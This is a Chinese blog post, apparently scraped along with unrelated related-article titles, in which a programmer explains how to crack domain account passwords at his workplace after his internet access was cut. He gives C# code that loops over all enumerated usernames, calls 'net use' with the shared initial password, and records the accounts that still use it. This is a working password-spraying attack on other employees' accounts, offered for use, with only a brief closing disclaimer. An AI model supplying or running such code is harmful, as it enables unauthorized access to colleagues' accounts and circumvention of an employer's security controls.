利用C#结合net use命令破解域帐号密码
背景
我的职业是程序猿,而所在的工作单位因各种原因,对上网帐号有严格控制,近期竟然把我们的上网帐号全部停用,作为程序猿,不能上网,就如同鱼儿没有水,煮饭没有米,必须想办法解决此问题。公司的局域网环境是AD域环境,上网帐号就是域帐号,公司有上万人,每个帐号在建立时都是统一的初始密码,且很多用户懒得不愿意修改初始密码。因此,稍动脑筋,就有了此破解之道。
原理
Windows中有个net use命令,用于将计算机与共享的资源相连接(建立磁盘映射),或者切断计算机与共享资源的连接(删除磁盘映射),对应的图形界面如下图所示。

net use 命令对应的图形界面
net use命令的格式及详细说明可参考:https://technet.microsoft.com/en-us/library/bb490717.aspx
简单地说,net use命令可以使用指定的用户名和密码,映射网络中的共享位置。
举例:net use \\waaicd2 /user:domain\user001 mypassword,其中domain\user001表示用户名,mypassword表示密码。在命令行窗口执行这条命令后,如果用户名和密码正确,则会提示"命令成功完成。",否则提示“登录失败: 未知的用户名或错误密码。”
想必看到这里,只要有点编程基础的人都在心里呵呵笑了,前面的背景中提到,域帐号初始密码是统一的,因此,我们只需要把域中的所有用户名穷举出来,套上这条命令,就能知道哪些用户没有修改初始密码了。翠花,上代码。
代码
Listusers = GetUserList()
foreach (var user in users)
{
System.Diagnostics.ProcessStartInfo pInfo = new System.Diagnostics.ProcessStartInfo();
pInfo.FileName = "C:\\Windows\\System32\\net.exe";
pInfo.Arguments = "use \\\\计算机名\\共享目录$ /user:domain\\" + staffno + " 123";
pInfo.UseShellExecute = false;
pInfo.RedirectStandardError = true;
pInfo.RedirectStandardOutput = true;
pInfo.CreateNoWindow = true;
System.Diagnostics.Process proc;
proc = System.Diagnostics.Process.Start(pInfo);
StreamReader myStreamReader = proc.StandardOutput;
string myString = myStreamReader.ReadLine();
if (myString != null && myString.Contains("命令成功完成"))
{
WriteResult(staffno);
}
proc.WaitForExit();
proc.Close();
pInfo.Arguments = "use \\\\计算机名\\共享目录$ /delete";
System.Diagnostics.Process.Start(pInfo);
}
结束语
这种方法虽然简单,但也不失为一种解决问题的途径,甚至可以扩展成更牛B的暴力破解。但各位读者不要用此方法去做一些违反职业道德的事哦!
利用C#结合net use命令破解域帐号密码的更多相关文章
- 利用freopen()函数和fc命令简化程序调试
大家在参加ACM比赛或者参加c/c++实验技能竞赛的时候,如果遇到大量的输入和大量的输出时,调试起来很不方便.一来如果结果不正确的话,需要重复输入大量数据:二来如果大量输出的话,得仔细检查输出结果与正 ...
- 利用phar实行php反序列化命令执行漏洞复现
利用phar实行php反序列化命令执行(测试环境复现) 前言 一般说到反序列化漏洞,第一反应都是unserialize()函数.然而安全研究员Sam Thomas分享了议题”It’s a PHP un ...
- 利用commands模块执行shell命令
利用commands模块执行shell命令 用Python写运维脚本时,经常需要执行linux shell的命令,Python中的commands模块专门用于调用Linux shell命令,并返回状态 ...
- Kali Linux Web 渗透测试视频教—第二十课-利用kali linux光盘或者usb启动盘破解windows密码
Kali Linux Web 渗透测试视频教—第二十课-利用kali linux光盘或者usb启动盘破解windows密码 文/玄魂 目录 Kali Linux Web 渗透测试视频教—第二十课-利用 ...
- 【缓存】利用Cache防止同一帐号重复登录
需求概要 对于B/S应用系统中客户经常会提出同一帐号不能重复登录的需求,就是说,用某一帐号登录系统后,在系统不超时的情况下,任何人都不能再用目前已登录的帐号登录系统.包括我目前的项目中同样有这一需求. ...
- MySQL忘记了密码登录不进去,用命令符修改新的密码重新登录的方法
MySQL忘记了密码登录不进去,用命令符修改新的密码重新登录的方法: 1.备份my.ini 2.在my.ini字段里 [mysqld] #socket=mysql skip-grant-tables ...
- 利用Python脚本悄无声息的遥控室友电脑开机密码!
整蛊一下室友就行了,切勿用于非法用途! 利用python脚本控制室友windows系统电脑的开机密码.利用random()生成随机数(密码),天知地知,密码只有你自己知道! Python代码分为cli ...
- sshpass-Linux命令之非交互SSH密码验证
sshpass-Linux命令之非交互SSH密码验证 参考网址:https://www.cnblogs.com/chenlaichao/p/7727554.html ssh登陆不能在命令行中指定密码. ...
- mysql 常用命令导入导出修改root密码
MySQL 忘记口令的解决办法如果 MySQL 正在运行,首先杀之: killall -TERM mysqld. 启动 MySQL :mysql --skip-grant-tables & / ...
随机推荐
- NIOS II SOPC系统自定义IP常见知识点总结
封装IP1.将写好的Verilog代码添加在Quartus工程中,IP目录下,(如果没有,自己建一个)2.打开Qsys工具,选择New Component3.name和Display name输入合理 ...
- BZOJ 2038 小z的袜子(莫队)
Description 作为一个生活散漫的人,小Z每天早上都要耗费很久从一堆五颜六色的袜子中找出一双来穿.终于有一天,小Z再也无法忍受这恼人的找袜子过程,于是他决定听天由命……具体来说,小Z把这N只袜 ...
- hdu2653之BFS
Waiting ten thousand years for Love Time Limit: 10000/2000 MS (Java/Others) Memory Limit: 32768/3 ...
- Linq分组操作之GroupBy,GroupJoin扩展方法源码分析
Linq分组操作之GroupBy,GroupJoin扩展方法源码分析 一. GroupBy 解释: 根据指定的键选择器函数对序列中的元素进行分组,并且从每个组及其键中创建结果值. 查询表达式: var ...
- static 静态类
C# 编译器对静态类进行了如下限制. 1. 静态类必须直接从System.Object派生,从其他任何基类生都没有意义,继承只适用于对象,而你不能创建静态类的实例. 2. 静态类不能实现任何接口,这是 ...
- [转]一次Delete&Insert引发的Mysql死锁
近日遇到一个比较奇怪的deadlock错误, 错误详情: Deadlock found when trying to get lock; try restarting transaction; nes ...
- org.apache.catalina.util.DefaultAnnotationProcessor cannot be cast to org.ap解决方案
非常可能是因为tomcat的lib文件夹jar包和项目的lib文件下的jar包冲突了 把项目下lib文件下和tomcat的jar的重复的全部删除. 注意,如果你是先建flex工程然后转成web形式的, ...
- Flash Builder 4.6/4.7 注释以及字体大小修改
①修改字体颜色.粗体.斜体.下划线 英文版:windows-preferences-flex-editors-syntex coloring-ActionScript-Comment 汉化版:窗口—首 ...
- 四、Centos linux系统优化
1. 无论是哪个版本的linux,都会提供32位和64位的两个版本的镜像. i386为32位 x86_64为64位 两者的区别: 1)目标:需要大量的内存需求的行业为64位,普通用户的需求为3 ...
- 8、insert、delete、update语句总结
insert常用语句 > insert into tb1 (name,age) values('tom',33); > insert into tb1 (name,age) values( ...